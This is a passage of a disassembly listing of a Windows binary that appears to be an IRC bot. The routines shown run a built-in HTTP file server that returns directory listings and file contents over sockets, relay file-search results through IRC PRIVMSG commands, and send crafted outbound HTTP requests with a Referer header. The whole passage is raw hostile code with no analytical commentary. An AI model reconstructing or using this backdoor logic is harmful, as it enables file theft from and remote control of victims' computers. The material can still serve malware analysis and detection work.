lea eax, [ebp+var_8F0]
push offset unk_4364EC
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40FD62
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409982
add esp, 14h
loc_40FD62: ; CODE XREF: sub_40F956+3E7j
lea eax, [ebp+var_8F0]
push eax
call sub_4157A5
pop ecx
push edi
call dword_4CDCFC ; closesocket
push [ebp+var_254]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
pop edi
pop esi
pop ebx
sub_40F956 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FD8C proc near ; DATA XREF: sub_40FF08+245o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41C2F0
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41C056
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_41C056
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
lea eax, [ebp+var_9C]
jz short loc_40FDF7
push offset aTextHtml ; "text/html"
jmp short loc_40FDFC
; ---------------------------------------------------------------------------
loc_40FDF7: ; CODE XREF: sub_40FD8C+62j
push offset aApplicationOct ; "application/octet-stream"
loc_40FDFC: ; CODE XREF: sub_40FD8C+69j
push eax
call sub_41C056
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call dword_428108 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call dword_428104 ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_9C]
jnz short loc_40FE6F
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C056
add esp, 24h
jmp short loc_40FE8A
; ---------------------------------------------------------------------------
loc_40FE6F: ; CODE XREF: sub_40FD8C+CAj
push [ebp+var_B8]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C056
add esp, 28h
loc_40FE8A: ; CODE XREF: sub_40FD8C+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4CDCB4 ; send
cmp [ebp+var_A4], edi
jnz short loc_40FECA
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_410838
pop ecx
pop ecx
jmp short loc_40FEE7
; ---------------------------------------------------------------------------
loc_40FECA: ; CODE XREF: sub_40FD8C+126j
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_4101B7
add esp, 10h
loc_40FEE7: ; CODE XREF: sub_40FD8C+13Cj
push [ebp+var_44C]
call dword_4CDCFC ; closesocket
push [ebp+var_B4]
call sub_40B2A3
pop ecx
push edi
call dword_4280CC ; ExitThread
pop edi
pop esi
sub_40FD8C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF08 proc near ; CODE XREF: sub_40F956+399p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41BD60
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
push eax
jz short loc_40FF3E
push offset aS_5 ; "\\%s"
jmp short loc_40FF46
; ---------------------------------------------------------------------------
loc_40FF3E: ; CODE XREF: sub_40FF08+2Dj
mov byte ptr [eax], 5Ch
push offset aS_2 ; "%s"
loc_40FF46: ; CODE XREF: sub_40FF08+34j
lea eax, [ebp+var_10C]
push eax
call sub_41C056
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41B7B0
test eax, eax
pop ecx
jbe short loc_40FFE1
mov [ebp+arg_8], 2
loc_40FF71: ; CODE XREF: sub_40FF08+D7j
lea eax, [ebp+var_10C]
push eax
call sub_41B7B0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40FFB1
cmp [ebp+esi+var_10C], 25h
jnz short loc_40FFB1
cmp [ebp+esi+var_10B], 32h
jnz short loc_40FFB1
cmp [ebp+esi+var_10A], 30h
jnz short loc_40FFB1
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40FFCB
; ---------------------------------------------------------------------------
loc_40FFB1: ; CODE XREF: sub_40FF08+79j
; sub_40FF08+83j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40FFC1
push 5Ch
pop eax
jmp short loc_40FFC4
; ---------------------------------------------------------------------------
loc_40FFC1: ; CODE XREF: sub_40FF08+B2j
movsx eax, al
loc_40FFC4: ; CODE XREF: sub_40FF08+B7j
mov [ebp+ebx+var_210], al
loc_40FFCB: ; CODE XREF: sub_40FF08+A7j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41B7B0
cmp esi, eax
pop ecx
jb short loc_40FF71
loc_40FFE1: ; CODE XREF: sub_40FF08+60j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_42AB10
push eax
call sub_41C056
lea eax, [ebp+var_314]
push offset asc_42B120 ; "\n"
push eax
call sub_41C8C4
add esp, 18h
lea eax, [ebp+var_314]
push eax
call dword_428098 ; GetFileAttributesA
xor esi, esi
inc esi
cmp eax, 10h
jz short loc_41002F
cmp eax, 0FFFFFFFFh
jnz short loc_410032
push [ebp+arg_0]
jmp short loc_4100AE
; ---------------------------------------------------------------------------
loc_41002F: ; CODE XREF: sub_40FF08+11Bj
mov [ebp+var_4], esi
loc_410032: ; CODE XREF: sub_40FF08+120j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_41003F
mov [ebp+var_4], esi
loc_41003F: ; CODE XREF: sub_40FF08+132j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_4100B9
loc_410053: ; DATA XREF: .packed:00433C5Do
; .packed:0043448Do
cmp [ebp+arg_C], edi
jz short loc_4100AD
lea eax, [ebp+var_314]
push offset asc_4367A0 ; "*"
push eax
call sub_41C690
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C056
lea eax, [ebp+var_210]
push eax
call sub_4108F5
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41C056
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_410108
; ---------------------------------------------------------------------------
loc_4100AD: ; CODE XREF: sub_40FF08+14Ej
push ebx
loc_4100AE: ; CODE XREF: sub_40FF08+125j
call dword_4CDCFC ; closesocket
jmp loc_41019E
; ---------------------------------------------------------------------------
loc_4100B9: ; CODE XREF: sub_40FF08+149j
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call dword_4280EC ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_410108
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C056
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call dword_42810C ; GetFileSize
push esi
mov [ebp+var_330], eax
call dword_42806C ; CloseHandle
loc_410108: ; CODE XREF: sub_40FF08+1A3j
; sub_40FF08+1CEj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_43676C
push eax
call sub_41C056
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40AF8D
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_440B9C[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40FD8C
push edi
push edi
call dword_42807C ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_440BAC[ecx], eax
jnz short loc_4101AD
push ebx
call dword_4CDCFC ; closesocket
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset unk_436734
push eax
call sub_41C056
lea eax, [ebp+var_8C4]
push eax
call sub_4157A5
add esp, 10h
loc_41019E: ; CODE XREF: sub_40FF08+1ACj
; sub_40FF08+2ADj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4101A5: ; CODE XREF: sub_40FF08+2ABj
push 5
call dword_428064 ; Sleep
loc_4101AD: ; CODE XREF: sub_40FF08+266j
cmp [ebp+var_318], edi
jz short loc_4101A5
jmp short loc_41019E
sub_40FF08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4101B7 proc near ; CODE XREF: sub_401B66+765Ap
; sub_40FD8C+153p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41BD60
mov edi, [ebp+arg_0]
push offset asc_42B120 ; "\n"
push edi
call sub_41C8C4
add esp, 14h
cmp [ebp+arg_8], ebx
push edi
jz short loc_410216
push [ebp+arg_8]
mov esi, 200h
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41C150
add esp, 14h
jmp loc_410312
; ---------------------------------------------------------------------------
loc_410216: ; CODE XREF: sub_4101B7+3Bj
cmp [ebp+arg_C], ebx
jz loc_4102F8
call sub_41B7B0
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C150
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C150
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
push edi
call sub_41B7B0
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C150
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C150
add esp, 0Ch
jmp short loc_410312
; ---------------------------------------------------------------------------
loc_4102F8: ; CODE XREF: sub_4101B7+62j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C150
add esp, 10h
loc_410312: ; CODE XREF: sub_4101B7+5Aj
; sub_4101B7+13Fj
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
cmp [ebp+arg_C], ebx
jz short loc_4103AA
push [ebp+arg_C]
call sub_41B7B0
cmp eax, 2
pop ecx
jbe short loc_4103AA
push [ebp+arg_C]
call sub_41B7B0
sub eax, 3
pop ecx
jz short loc_41035E
loc_410352: ; CODE XREF: sub_4101B7+1A5j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_41035E
dec eax
jnz short loc_410352
loc_41035E: ; CODE XREF: sub_4101B7+199j
; sub_4101B7+1A2j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41BDC0
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C150
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
loc_4103AA: ; CODE XREF: sub_4101B7+17Dj
; sub_4101B7+18Bj
lea eax, [ebp+var_388]
push eax
push edi
call dword_428000 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_42811C ; FindNextFileA
test eax, eax
jz loc_4107A1
mov edi, 1FFh
loc_4103D6: ; CODE XREF: sub_4101B7+5E4j
cmp [ebp+var_388], ebx
jz loc_410789
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_410789
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_410789
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call dword_428118 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call dword_428114 ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja loc_4104D3
mov ecx, offset aAm ; "AM"
movzx eax, ax
loc_410452: ; CODE XREF: sub_4101B7+322j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41C056
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_41060A
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_4104DE
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C150
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41C150
add esp, 28h
jmp loc_41075A
; ---------------------------------------------------------------------------
loc_4104D3: ; CODE XREF: sub_4101B7+28Dj
movzx eax, ax
sub eax, 0Ch
jmp loc_410452
; ---------------------------------------------------------------------------
loc_4104DE: ; CODE XREF: sub_4101B7+2D5j
cmp [ebp+arg_C], ebx
jz loc_4105C8
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C150
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_1 ; "%s%s/"
push edi
push eax
call sub_41C150
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B7B0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_410584
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_410589
; ---------------------------------------------------------------------------
loc_410584: ; CODE XREF: sub_4101B7+3C4j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_410589: ; CODE XREF: sub_4101B7+3CBj
push edi
push eax
call sub_41C150
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_41074B
; ---------------------------------------------------------------------------
loc_4105C8: ; CODE XREF: sub_4101B7+32Aj
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C150
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_4105F5: ; CODE XREF: sub_4101B7+47Bj
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C150
add esp, 24h
jmp loc_41075A
; ---------------------------------------------------------------------------
loc_41060A: ; CODE XREF: sub_4101B7+2C9j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_410634
push ebx
push [ebp+var_368]
call sub_416E8B
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_4105F5
; ---------------------------------------------------------------------------
loc_410634: ; CODE XREF: sub_4101B7+459j
cmp [ebp+arg_C], ebx
jz loc_410734
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C150
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_42AB10
push edi
push eax
call sub_41C150
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B7B0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_4106DA
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_4106DF
; ---------------------------------------------------------------------------
loc_4106DA: ; CODE XREF: sub_4101B7+51Aj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_4106DF: ; CODE XREF: sub_4101B7+521j
push edi
push eax
call sub_41C150
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C150
add esp, 1Ch
jmp short loc_41075A
; ---------------------------------------------------------------------------
loc_410734: ; CODE XREF: sub_4101B7+480j
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_41074B: ; CODE XREF: sub_4101B7+40Cj
lea eax, [ebp+var_248]
push eax
call sub_41C150
add esp, 18h
loc_41075A: ; CODE XREF: sub_4101B7+317j
; sub_4101B7+44Ej ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
cmp [ebp+arg_8], ebx
jz short loc_410789
push 7D0h
call dword_428064 ; Sleep
loc_410789: ; CODE XREF: sub_4101B7+225j
; sub_4101B7+240j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_42811C ; FindNextFileA
test eax, eax
jnz loc_4103D6
loc_4107A1: ; CODE XREF: sub_4101B7+214j
push [ebp+arg_0]
call dword_428110 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_4107E4
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416E8B
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416E8B
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41C056
add esp, 14h
jmp short loc_410812
; ---------------------------------------------------------------------------
loc_4107E4: ; CODE XREF: sub_4101B7+5F6j
cmp [ebp+arg_C], ebx
lea eax, [ebp+var_248]
jz short loc_4107FE
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41C056
pop ecx
pop ecx
jmp short loc_410812
; ---------------------------------------------------------------------------
loc_4107FE: ; CODE XREF: sub_4101B7+636j
push [ebp+var_8]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41C056
add esp, 10h
loc_410812: ; CODE XREF: sub_4101B7+62Bj
; sub_4101B7+645j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CDCB4 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4101B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410838 proc near ; CODE XREF: sub_40FD8C+135p
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_4280EC ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4108F0
push esi
push ebx
call dword_42810C ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_4108E9
loc_41087D: ; CODE XREF: sub_410838+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41BD60
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_41089A
mov edi, [ebp+arg_4]
loc_41089A: ; CODE XREF: sub_410838+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_428120 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_4280E8 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CDCB4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4108E4
call dword_4CDBF8 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_4108E9
xor eax, eax
loc_4108E4: ; CODE XREF: sub_410838+9Bj
sub [ebp+arg_4], eax
jnz short loc_41087D
loc_4108E9: ; CODE XREF: sub_410838+43j
; sub_410838+A8j
push ebx
call dword_42806C ; CloseHandle
loc_4108F0: ; CODE XREF: sub_410838+30j
pop edi
pop esi
pop ebx
leave
retn
sub_410838 endp
; =============== S U B R O U T I N E =======================================
sub_4108F5 proc near ; CODE XREF: sub_40FF08+17Bp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41B7B0
test eax, eax
pop ecx
jbe short loc_41091E
loc_410908: ; CODE XREF: sub_4108F5+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_410912
mov byte ptr [esi+edi], 2Fh
loc_410912: ; CODE XREF: sub_4108F5+17j
push edi
inc esi
call sub_41B7B0
cmp esi, eax
pop ecx
jb short loc_410908
loc_41091E: ; CODE XREF: sub_4108F5+11j
mov eax, edi
pop edi
pop esi
retn
sub_4108F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410923 proc near ; CODE XREF: sub_401B66+51BBp
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CDBD4 ; WSAStartup
push 6
push 1
push 2
call dword_4CDCE4 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CDC64 ; ntohs
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AA04
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CDC0C ; connect
cmp eax, 0FFFFFFFFh
jz short loc_410A00
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_41099C
mov eax, offset byte_43FE14
loc_41099C: ; CODE XREF: sub_410923+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41C150
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CDCB4 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call near ptr sub_41CAE0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CDC7C ; recv
pop esi
loc_410A00: ; CODE XREF: sub_410923+6Bj
push ebx
call dword_4CDCFC ; closesocket
call dword_4CDBBC ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41C056
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410A40
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_410A40: ; CODE XREF: sub_410923+102j
pop edi
pop ebx
leave
retn
sub_410923 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_410A44 proc near ; DATA XREF: sub_401B66+605Bo
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
